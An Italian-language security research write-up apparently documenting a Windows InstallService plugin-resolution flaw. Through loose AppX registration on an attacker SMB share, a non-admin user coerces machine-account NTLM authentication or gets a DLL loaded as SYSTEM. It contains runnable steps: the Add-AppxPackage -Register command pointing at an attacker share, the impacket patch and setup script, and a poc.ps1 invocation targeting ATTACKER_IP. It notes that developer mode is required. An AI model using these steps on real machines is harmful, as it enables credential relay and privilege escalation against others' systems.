
Un'altra nuova primitiva di coercizione con LPE - coercizione NTLM dell'account di macchina da parte di un utente non amministratore tramite esperimenti di risoluzione del plugin di Windows Store InstallService
L'idea alla base di questa ricerca era semplice: volevo trovare una mia tecnica di coercizione. Ho iniziato cercando nuove superfici d'attacco RPC, ma dopo che Microsoft ha aggiunto il monitoraggio delle attività RPC (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), ho deciso di prendere una strada diversa.
UNCanny è il risultato di quella tana del bianconiglio. Non è qualcosa che considererei affidabile per vere operazioni red team a causa dei suoi limiti, ma penso comunque che gli appunti valgano la pena di essere pubblicati per chiunque stia scavando nella stessa area.
In breve, questa primitiva è:
un utente normale consegna al servizio di installazione di Windows Store alcuni metadati di installazione -> il servizio, in esecuzione come sistema locale, risolve un "plugin" per quel lavoro -> il resolver finisce per eseguire
LoadLibraryWsu un percorso influenzato dall'utente -> quel percorso è una UNC -> NTLM in uscita come account del computer.
Il componente è il mondo del servizio di installazione di Windows Store: InstallService.dll ospitato in InstallService.exe, in esecuzione come NT AUTHORITY\SYSTEM.
La tana del bianconiglio è iniziata con InstallService.dll. Stavo cercando componenti di Windows che installano pacchetti, ripristinano lo stato dopo il riavvio, riprendono processi falliti, leggono contenuti locali/remoti e caricano plugin. Qualsiasi cosa che abbia queste quattro cose insieme di solito ha una confusione di confini da qualche parte:
La classe runtime interessante era:
Windows.Internal.InstallService.Control.InstallServiceControl
IID: e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8 -> CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

È in quel parametro propertiesJson che si nasconde il divertimento. Il comportamento di installazione è descritto da campi json come FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId.
All'inizio pensavo che il bug sarebbe stato "mettere una UNC in SourceUri e lasciare che il servizio la leggesse". Sarebbe stato bellissimo, ma Windows non è stato così generoso. Ho fatto reverse engineering del percorso di fulfillment integrato (CreateInstallServiceWorkFromBridge, InstallService.dll) e i plugin integrati semplicemente non fanno questo:
WU analizza il json ed esce su WinHTTP / Delivery Optimization. mai SMB.ChainedWork e XVC sono la stessa storia o non sono nemmeno presenti su un client.SourceUri grezzo viene o rapidamente rifiutato o instradato nella validazione del catalogo. CreateCatalogItemFromLocalData, nonostante il nome, costruisce un elemento del catalogo dal json serializzato in memoria, non va ad aprire un file.Quindi l'idea ingenua è un vicolo cieco, questa funzionalità è molto interessante e ci sto facendo anche altre primitive di ricerca e vale la pena dirlo ad alta voce così nessuno ci perde una settimana :)
L'unico punto dell'intero flusso di creazione/ripristino in cui il servizio tocca un percorso influenzato dall'attaccante è l'attivazione del plugin. La funzione è PluginHelpers::ActivatePlugin. Risolve FulfillmentPluginId in questo ordine:
"WU" -> integrato"ChainedWork" -> integratoStaticPluginMap (HKLM) -> CoCreateInstance di un CLSID, o attiva una classe WinRT"XVC" -> factory xboxFindPackagesForUser(pfn) -> prendi InstalledLocation.Path di quel pacchetto -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")Il ramo 5 è quello giusto e PluginHelpers::IsPluginAvailable conferma il gate: restituisce true per qualsiasi FulfillmentPluginId che corrisponde a un pacchetto installato, tramite esattamente la stessa ricerca FindPackagesForUser.

Quindi se un FulfillmentPluginId punta a un pacchetto il cui InstalledLocation è una UNC, allora InstallService.exe in esecuzione come SYSTEM fa:
LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )
LoadLibraryW deve connettersi a \\attacker\share e autenticarsi prima di scoprire che la dll non c'è, e quell'autenticazione è la coercizione, e la dll non deve mai esistere.

L'unica domanda rimasta è "come fa un utente normale a ottenere un pacchetto il cui InstalledLocation è una UNC". La risposta è la registrazione loose-file, che è un'operazione per-utente, non elevata:
Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
Windows registra il pacchetto "sul posto", quindi l'InstalledLocation registrato è letteralmente la UNC a cui hai puntato. Poi attivi il lavoro con il nome famiglia di quel pacchetto come id del plugin.
Add-AppxPackage -Register \\attacker\share\AppxManifest.xmlCreateInstallServiceWork( FulfillmentPluginId = <that package's PFN> )Il chiamante è un utente normale, l'autenticazione di rete è l'account del computer.

Un utente a bassi privilegi l'ha attivato, l'account del computer si è autenticato. È stato il loader di Windows stesso a toccare la UNC, non il chiamante.

Due cose da sistemare prima di eseguire:
impacket-smbserver riporta il tipo di filesystem XTFS. AppX rifiuta di registrarsi su condivisioni non-NTFS (0x80073CFD). Applica una patch al campo FileSystemName in impacket/smbserver.py impostandolo a NTFS.
La condivisione deve contenere AppxManifest.xml, logo.png, dummy.exe. Non serve InstallServicePlugin.dll. MaxVersionTested nel manifest deve essere ≤ build del target (controlla con winver sul target).
Puoi eseguire poc/setup.sh dalla radice del repo su Kali. Popola la condivisione, applica la patch a impacket, carica poc.ps1 sul target tramite smbclient se TARGET_IP e TARGET_CREDS sono impostati, e avvia il server ;-)
Poi sulla tua workstation Windows, come utente a bassi privilegi, da una sessione interattiva:
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce
C'è un secondo lato dello stesso bug più diretto della coercizione. Se InstallServicePlugin.dll esiste davvero nel percorso del pacchetto UNC, il servizio raggiunge comunque lo stesso ramo LoadLibraryW(\\attacker\share\InstallServicePlugin.dll), ma questa volta il loader ha successo e la dll viene mappata dentro il processo del servizio di installazione dello store come NT AUTHORITY\SYSTEM.
Quindi mi sono gasato cercando di provare questo problema e ho scritto il poc in lpe/. La cosa importante non è un altro trucco di registrazione di pacchetti, è lo stesso pacchetto loose registrato che viene riusato come pacchetto plugin. L'harness chiede il nome famiglia del pacchetto dell'utente a bassi privilegi con Get-AppxPackage, passa quel PFN come FulfillmentPluginId, imposta SkipCatalogLookup=true e include SerializedFulfillmentData. Quest'ultimo campo è importante perché InstallQueue2::CreateWork rifiuta la richiesta con 0x80070057 se il lookup del catalogo viene saltato senza dati di fulfillment.
È molto importante notare una cosa che ha richiesto molto tempo nel troubleshooting: impacket non può servire un'immagine caricabile. Risponde alle letture abbastanza bene da far autenticare l'account del computer, quindi il percorso di coercizione è perfettamente contento, ma LoadLibraryW contro una condivisione impacket restituisce null con ERROR_INVALID_HANDLE e DllMain non viene mai eseguito. Servi esattamente gli stessi file con un vero server SMB (Samba) e il caricamento riesce. Samba riporta NTFS di default quindi la registrazione loose funziona comunque. Quindi la regola è semplice: impacket quando vuoi solo l'hash, Samba quando vuoi che la dll venga davvero eseguita come SYSTEM!
In una esecuzione reale, attivata dall'utente a bassi privilegi, uncanny_lpe.txt mostra la dll mappata in svchost.exe e il token che risolve in NT AUTHORITY\SYSTEM / S-1-5-18, che è lo screenshot qui sotto.

CreateInstallServiceWork restituisce comunque 0x800706BE con questa dll dimostrativa perché DllMain è già stata eseguita quando il servizio chiede la vera interfaccia del plugin e rinuncia :-)

Il limite è in realtà il motivo per cui ho deciso di pubblicare questa tecnica - la modalità sviluppatore deve essere abilitata per eseguirla. L'intera cosa dipende dal fatto che InstalledLocation.Path sia un percorso UNC, e dopo aver passato molto tempo a scavarci dentro, ho trovato solo un modo per farlo accadere. Un'installazione firmata normale copia il pacchetto in C:\Program Files\WindowsApps\..., imposta InstalledLocation lì, e quello è sempre un percorso locale.
L'unico percorso di registrazione che ho trovato e che mantiene i file dove già sono, anche su una condivisione UNC, è la registrazione loose-file (Add-AppxPackage -Register <manifest>). È esattamente ciò che la modalità sviluppatore (AllowDevelopmentWithoutDevLicense sotto HKLM\...\AppModelUnlock) sblocca. E il motivo per cui è bloccata ha senso. La registrazione loose crea praticamente un'identità di pacchetto attendibile da file arbitrari non firmati che si trovano in una posizione che controlli, il che aggira completamente il normale modello di fiducia dello store e della firma. Per questo, la modalità sviluppatore deve essere abilitata, e attualmente è il più grande limite della tecnica.
La parte interessante è che il lato InstallService non se ne preoccupa davvero e, una volta che un pacchetto del genere esiste, il ramo 5 di ActivatePlugin chiamerà felicemente LoadLibraryW su qualunque InstalledLocation.Path riceva. L'intero problema è ottenere in primo luogo un pacchetto la cui posizione di installazione punti a un percorso UNC senza aver bisogno della modalità sviluppatore.
Quindi, ho iniziato a fare reverse engineering dei guardrail cercando un'altra via d'accesso.
Il controllo della modalità sviluppatore non vive affatto dentro InstallService. Si trova dentro lo stack di distribuzione AppX (AppXDeploymentServer.dll e la policy di licenza di distribuzione) e alla fine legge HKLM\...\AppModelUnlock, che è controllato dall'amministratore. Non c'è nulla che un utente normale possa cambiare lì.
Ho anche inseguito quella che sembrava la bypass ovvia, come il sideloading
L'ho testata con sideloading abilitato e modalità sviluppatore disabilitata (IsSideloadingEnabled=1, IsDeveloperModeEnabled=0). La registrazione loose è fallita immediatamente e si è lamentata che l'origine del pacchetto era Unsigned e che non era possibile applicare alcuna licenza o policy di sideloading valida.
Ci sono ancora alcune strade che non ho escluso del tutto, puoi approfondirle se vuoi:
StaticPluginMap combinato con un hijack dell'ordine di ricerca COM-ExternalLocation e contenuto esterno del pacchettoHKCU\...\CLSIDElastic probabilmente lo coprirà in un giorno.
- Non sono responsabile di come queste informazioni vengono usate. Questa ricerca è pubblicata a scopo educativo, in fin dei conti, e può anche aiutare a migliorare la comprensione della superficie d'attacco.